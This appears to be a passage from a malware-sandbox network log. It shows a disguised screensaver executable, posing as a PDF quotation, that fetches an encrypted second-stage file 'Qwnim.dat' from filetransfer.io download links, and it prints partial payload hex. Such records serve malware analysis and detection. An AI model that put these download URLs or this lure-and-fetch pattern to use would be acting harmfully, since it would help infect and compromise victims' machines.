{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HBCa721xo4AhyIm3kgRRjpOGQinD9mjmK19QbJ94wfJylR%2F%2BiUwSAPzigmtKBXTI%2BTv8RzNdFwK7%2BH9r7z9qB%2FWjpuOBos7VEPf9lBMbkuq16qxNwhkZre%2F0PA4IpMxMD7g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e43ba4243f7-EWR
2024-10-04 09:24:19 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 46 4d 64 61 50 75 43 5a 48 48 50 6a 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/FMdaPuCZHHPj">Please click here to continue</a>.</p>
2024-10-04 09:24:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50064	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:20 UTC	98	OUT	GET /storage/download/FMdaPuCZHHPj HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:21 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:21 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=fead79060dc1f1dfe08bd6e173dd98ff; expires=Fri, 18-Oct-2024 09:24:20 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d00tQEB4qpro49khOh8oRyvXKDlwKOZ5%2B%2FVMl8XJkW2gj%2FhNKYYPNJZAPXD31EvFPwTvBnTdDGQ4wMkwvoI4pszmkyisXt0cp%2BNkA%2BVg9REIV%2FelRTWF2PaJtswMFtm4kfvIrEGf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41e4b89524283-EWR
2024-10-04 09:24:21 UTC	343	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:21 UTC	1369	IN	Data Raw: b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b Data Ascii: IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:24:21 UTC	1369	IN	Data Raw: 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 Data Ascii: GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:24:21 UTC	1369	IN	Data Raw: a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 Data Ascii: p&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<
2024-10-04 09:24:21 UTC	1369	IN	Data Raw: 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:24:21 UTC	1369	IN	Data Raw: c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O
2024-10-04 09:24:21 UTC	1369	IN	Data Raw: 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 Data Ascii: IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:24:21 UTC	1369	IN	Data Raw: 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa Data Ascii: lBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0
2024-10-04 09:24:21 UTC	1369	IN	Data Raw: 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 Data Ascii: /ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0X
2024-10-04 09:24:21 UTC	1369	IN	Data Raw: 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a Data Ascii: dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50099	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:24 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:25 UTC	1070	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=n346e4v4e7h5ics08t9tl0uaa4; expires=Fri, 18-Oct-2024 09:24:24 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/5ERBgCCUdqAJ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=785AzWpMrZcetb79nqkHUfGsTBtp2fc8ZLPzldmZHrl3SwPmewfVoP4Zrwkj3%2B%2FfS3HJztQHRvmDRn9p8xPJMxCyFf0A1ZbXy%2FdPuK5QGlch%2Bo3mKj%2FaDOP47KIJFChXBCs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e669e4e43dc-EWR
2024-10-04 09:24:25 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 35 45 52 42 67 43 43 55 64 71 41 4a 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/5ERBgCCUdqAJ">Please click here to continue</a>.</p>
2024-10-04 09:24:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50105	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:25 UTC	98	OUT	GET /storage/download/5ERBgCCUdqAJ HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:26 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:26 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=1a73b809616ab4eae3d20578691069aa; expires=Fri, 18-Oct-2024 09:24:26 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GDM4o%2F2cdS9E9zHFkrKrm4zc1qjCRJPNNnpASafoEyv%2BnrfWzRcLmzd3h5swXK%2Belnyp83nyh0wyGaye2gP1m6GYdUQIeVTVNbhmyIqmmaQh9%2BQyKLUL8TFstt4gygG3ouujtYLr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41e6ceeef8ce6-EWR
2024-10-04 09:24:26 UTC	347	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:26 UTC	1369	IN	Data Raw: 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e Data Ascii: >g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^
2024-10-04 09:24:26 UTC	1369	IN	Data Raw: 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 Data Ascii: !8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK
2024-10-04 09:24:26 UTC	1369	IN	Data Raw: dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:24:26 UTC	1369	IN	Data Raw: dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 